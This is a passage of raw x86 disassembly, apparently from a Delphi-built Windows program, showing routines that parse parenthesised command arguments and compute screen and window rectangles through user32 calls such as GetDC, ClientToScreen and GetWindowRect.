imul eax, dword [ebp - 0x128], 0x64
cdq
idiv dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jl 0x54607b
mov byte [ebp - 0x36], 1
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x128]
mov dword [eax + 0x449c], edx
cmp byte [ebp - 0x36], 0
je 0x54628e
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
sub edx, dword [eax]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4498]
mov eax, dword [eax]
mov edx, dword [ebp - 0x28]
sub edx, dword [eax + 4]
mov dword [ebp - 0xec], edx
cmp byte [ebp - 0x10d], 0
jne 0x5460d1
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ScreenToClient
mov dword [ebp - 0x84], 1
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0xf0]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 2
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0xec]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 3
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x10467c]
add eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4474]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x104680]
add eax, dword [ebp - 0xec]
mov edx, dword [ebp - 0x18]
add eax, dword [edx + 0x4478]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
mov dword [ebp - 0x84], 5
imul eax, dword [ebp - 0x128], 0x64
cdq
idiv dword [ebp - 0x44]
lea edx, [ebp - 0x4c]
call fcn.0040b57c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105be0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x105bdc]
push eax
mov eax, dword [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x54]
mov dl, byte [ebp - 0xd3]
mov eax, dword [ebp - 0x18]
call fcn.00554a98
inc dword [ebp - 0x10]
dec dword [ebp - 0x3c]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0xe8]
dec eax
cmp eax, dword [ebp - 0x14]
jl 0x5462a7
cmp dword [ebp - 0x3c], 0
jne 0x545a13
inc dword [ebp - 0x28]
mov eax, dword [ebp - 0xe4]
dec eax
cmp eax, dword [ebp - 0x28]
jl 0x5462c0
cmp dword [ebp - 0x3c], 0
jne 0x5459c9
push 0
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x53e0dc]
call fcn.0040659c
add esp, 4
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x84], 5
dec dword [ebp - 0x10]
lea eax, [ebp - 0x84]
push eax
push 1
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.005550b4
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
jmp 0x546332
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 1
lea eax, [ebp - 0x1c]
mov edx, 0x5539bc
call fcn.00405070
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
jne 0x546368
cmp dword [ebp - 0x10], 1
jne 0x546359
imul eax, dword [ebp - 0x128], 0x64
cdq
idiv dword [ebp - 0x44]
lea edx, [ebp - 0x1c]
call fcn.0040b57c
jmp 0x546368
mov eax, dword [ebp - 0x10]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x546398
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x54], eax
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x5463eb
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x5463e8
mov bl, 1
jmp 0x546434
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x200]
jg 0x546434
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x5463d7
test bl, bl
je 0x546c60
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x546490
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x546470
dec al
je 0x54647a
jmp 0x546480
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x546480
dec dword [ebp - 0x84]
test bl, bl
je 0x54648d
cmp dword [ebp - 0x84], 0
je 0x54649b
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x54645c
lea eax, [ebp - 0xb94]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0xb94]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x546c47
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 5
xor eax, eax
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0xb98]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb98]
call fcn.0040b6e8
mov dword [ebp - 0xe0], eax
lea eax, [ebp - 0xb9c]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xb9c]
call fcn.0040b6e8
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0xba0]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xba0]
call fcn.0040b6e8
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0xba4]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xba4]
call fcn.0040b6e8
mov dword [ebp - 0xe4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xba8]
push eax
mov ecx, 5
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xba8]
lea edx, [ebp - 0xb0]
call fcn.0040b05c
lea eax, [ebp - 0xbac]
push eax
mov ecx, 6
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xbac]
lea edx, [ebp - 0x20]
call fcn.0040b05c
mov eax, dword [ebp - 0xb0]
mov edx, 0x553934
call fcn.004053e4
je 0x546611
mov eax, dword [ebp - 0x20]
mov edx, 0x553934
call fcn.004053e4
jne 0x54661a
mov byte [ebp - 0x10d], 1
jmp 0x546621
mov byte [ebp - 0x10d], 0
xor ebx, ebx
mov eax, dword [ebp - 0x18]
lea edx, [eax + 0x449c]
mov eax, dword [ebp - 0xb0]
call fcn.0040b73c
test al, al
je 0x546647
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 1
jge 0x546654
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x449c], 2
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x134], eax
push 0
call sub.user32.dll_GetDC
mov dword [ebp - 0x220], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xfc], eax
cmp byte [ebp - 0x10d], 0
jne 0x546718
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jg 0x5466ff
lea eax, [ebp - 0xe0]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
lea eax, [ebp - 0xe8]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_GetClientRect
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x546718
lea eax, [ebp - 0x79c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_GetWindowRect
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x546912
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jg 0x5467fc
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x79c]
call fcn.00407514
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x84]
push eax
call sub.user32.dll_ClientToScreen
mov eax, dword [ebp - 0xe0]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xdc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x794]
sub eax, dword [ebp - 0x79c]
mov dword [ebp - 0x79c], eax
mov eax, dword [ebp - 0x790]
sub eax, dword [ebp - 0x798]
mov dword [ebp - 0x798], eax
mov eax, dword [ebp - 0xe8]
sub eax, dword [ebp - 0xe0]
dec eax
test eax, eax
jg 0x5467b3
mov eax, dword [ebp - 0x79c]
sub eax, dword [ebp - 0x64]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0xdc]
dec eax
test eax, eax
jg 0x5467d3
mov eax, dword [ebp - 0x798]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe0]
add eax, dword [ebp - 0x79c]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x798]
mov dword [ebp - 0xe4], eax
jmp 0x546912
lea ecx, [ebp - 0xc]
xor edx, edx
xor eax, eax
call fcn.00407514
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_ClientToScreen
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x79c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x798]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x64]
add dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x64]
add dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0xe4], eax
lea ecx, [ebp - 0x21c]
mov edx, dword [ebp - 0x790]
mov eax, dword [ebp - 0x794]
call fcn.00407514
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x134]
push eax
call sub.user32.dll_ScreenToClient
mov eax, dword [ebp - 0x794]
sub eax, dword [ebp - 0xc]
dec eax
cmp eax, dword [ebp - 0xe8]
jl 0x54689e
mov eax, dword [ebp - 0xe8]
sub eax, dword [ebp - 0xe0]
jns 0x5468ae
mov eax, dword [ebp - 0x794]
sub eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x2c]
dec eax
cmp eax, dword [ebp - 0xe4]
jl 0x5468d1
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0xdc]
jns 0x5468e4
mov eax, dword [ebp - 0x218]
sub eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe0]
cmp eax, dword [ebp - 0xe8]
jle 0x5468fb
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xdc]
cmp eax, dword [ebp - 0xe4]
jle 0x546912
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xdc], eax
inc dword [ebp - 0xe8]
inc dword [ebp - 0xe4]
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 1
je 0x546c18
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x449c], 2
jle 0x546943
mov byte [ebp - 0x13d], 1
jmp 0x54694a
mov byte [ebp - 0x13d], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe8]
mov dword [eax + 0x44b8], edx
mov edx, dword [ebp - 0xe4]
mov dword [eax + 0x44bc], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe0]
mov dword [eax + 0x44c0], edx
mov edx, dword [ebp - 0xdc]
mov dword [eax + 0x44c4], edx
xor eax, eax
push ebp
push 0x5469aa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x18]
mov byte [eax + 0x448c], 0
mov eax, dword [ebp - 0x18]
call fcn.0052fda8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5469c9
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x5469e2
lea eax, [ebp - 0x1c]
mov edx, 0x55394c
call fcn.00405070
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x4484]
and eax, 0x80000003
jns 0x5469fe
dec eax
or eax, 0xfffffffc
inc eax
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x448c], 0
je 0x546a46
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x4405], 0
je 0x546a68
mov eax, dword [ebp - 0x18]
lea edi, [eax + 0x9c]
mov esi, 0x553950
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 0x18]
push eax
push fcn.0053347c
mov eax, dword [ebp - 0x18]
call fcn.00425d90
jmp 0x546a68
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0xdc]
sub dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], 1
jmp 0x546a87
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
cmp dword [edx + eax*8 - 4], 0
je 0x546a97
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x546a71
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
cmp eax, dword [ebp - 0x14]
jge 0x546ac4
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
add eax, 0x6c
mov ecx, 1
mov edx, dword [0x52f36c]
call fcn.0040659c
add esp, 4
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0xf8]
mov dword [edx + eax*8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0xf4]
mov dword [edx + eax*8 + 4], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048a5]
mov dword [edx + eax*8 + 8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048a9]
mov dword [edx + eax*8 + 0xc], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x1048ad]
mov dword [edx + eax*8 + 0x10], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0x44ac]
mov dword [edx + eax*8 + 0x14], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x449c]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbb0]
call fcn.0040b668
push dword [ebp - 0xbb0]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbb4]
call fcn.0040b668
push dword [ebp - 0xbb4]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0xc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0xbb8]
call fcn.0040b668
push dword [ebp - 0xbb8]
push 0x5539c8
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x10]
lea edx, [ebp - 0xbbc]
call fcn.0040b57c
push dword [ebp - 0xbbc]
push 0x5539d4
lea eax, [ebp - 0x1c]
mov edx, 8
call fcn.00405358
jmp 0x546c25
lea eax, [ebp - 0x1c]
mov edx, 0x5539e0
call fcn.00405070
mov dword [ebp - 0x84], 4
mov eax, dword [ebp - 0x220]
push eax
push 0
call sub.user32.dll_ReleaseDC
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x546c6d
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x546cb7
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x546cb4
mov bl, 1
jmp 0x546d00
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x200]
jg 0x546d00
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x546ca3
test bl, bl
je 0x546f1d
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x546d5c
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x546d3c
dec al
je 0x546d46
jmp 0x546d4c
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x546d4c
dec dword [ebp - 0x84]
test bl, bl
je 0x546d59
cmp dword [ebp - 0x84], 0
je 0x546d67
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x546d28
lea eax, [ebp - 0xbc0]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0xbc0]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x54]
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x54]
call fcn.00405538
xor eax, eax
push ebp
push 0x546f04
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xbc4]
push eax
lea eax, [ebp - 0xbc8]
push eax
or ecx, 0xffffffff
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov edx, dword [ebp - 0xbc8]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov edx, dword [ebp - 0xbc4]
lea eax, [ebp - 0x1c]
call fcn.00405070
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x546eed
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x546ed6
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
cmp edx, dword [esp + 4]
jne 0x546e3b
cmp eax, dword [esp]
pop edx
pop eax
jne 0x546ed3
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 4], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 8], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 0xc], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 0x10], ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
mov eax, dword [edx + eax*8 + 0x14]
push eax
call sub.KERNEL32.DLL_GlobalFree
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x6c]
xor ecx, ecx
mov dword [edx + eax*8 + 0x14], ecx
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp 0x546efa
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x6c]
call fcn.004063e0
dec eax
cmp eax, dword [ebp - 0x14]
jge 0x546e1a
jmp 0x546efa
lea eax, [ebp - 0x1c]
mov edx, 0x5539bc
call fcn.00405070
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x546f2a
lea eax, [ebp - 0x1c]
mov edx, 0x553980
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
jmp 0x546f74
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x28
jne 0x546f71
mov bl, 1
jmp 0x546fbd
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x200]
jg 0x546fbd
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x546f60
test bl, bl
je 0x547362
xor ebx, ebx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x200], eax
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x547019
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x10]
mov al, byte [eax + edx - 1]
sub al, 0x28
je 0x546ff9
dec al
je 0x547003
jmp 0x547009
inc dword [ebp - 0x84]
mov bl, 1
jmp 0x547009
dec dword [ebp - 0x84]
test bl, bl
je 0x547016
cmp dword [ebp - 0x84], 0
je 0x547024
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x200]
jbe 0x546fe5
lea eax, [ebp - 0xbcc]
push eax
mov eax, dword [ebp - 0x14]
inc eax
mov ecx, dword [ebp - 0x10]
sub ecx, eax
mov edx, dword [ebp - 0x14]
inc edx
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov ecx, dword [ebp - 0xbcc]
lea eax, [ebp - 0x1c]
mov edx, 0x553864
call fcn.004052e4
mov ecx, dword [ebp - 0x10]
